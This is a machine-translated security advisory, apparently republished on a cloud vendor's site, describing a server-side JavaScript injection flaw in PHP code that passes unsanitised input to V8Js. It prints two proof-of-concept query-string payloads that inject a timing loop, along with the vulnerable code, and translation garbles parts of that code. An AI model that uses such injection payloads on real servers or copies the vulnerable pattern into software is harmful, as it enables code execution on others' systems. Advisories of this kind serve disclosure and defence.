Google V8 server JavaScript injection vulnerability

Source: Internet
Author: User

Release date:
Updated on:

Affected Systems:
Google V8 JavaScript Engine
Description:
--------------------------------------------------------------------------------
Chromium is an open source Web browser project. V8 is Google's open-source JavaScript Engine.

Google's V8 server engine has an SSJS vulnerability in implementation. Attackers inject arbitrary code through the JavaScript injection vulnerability on the server in PHP.

<* Source: Felipe Aragon (felipe@syhunt.com)

Link: http://packetstormsecurity.org/files/110210/Google-V8-Server-Side-Javascript-Injection.html
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

Vulnerable. php? Msg = A'; d % 20 = % 20new % 20 Date (); do {cd = new % 20 Date () ;}while (cd-d <10000 ); foo = 'bar


Vulnerable Code:

$ Msg = $ _ GET ['msg '];
$ V8 = new V8Js ();
$ V8-> executeString ("var msg = '$ msg';... some code ..");


Vulnerable. php? Msg = version (); d % 20 = % 20new % 20 Date (); do {cd = new % 20 Date () ;}while (cd-d <10000 ); foo = ('bar'


Vulnerable Code:

$ Msg = $ _ GET ['msg '];
$ V8 = new V8Js ();
$ JS = <EOT
Len = print ($ msg + "\ n ");
... Some code ..
EOT;

$ V8-> executeString ($ JS, 'Basic. js ');

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Google
------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:

Http://www.google.com

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.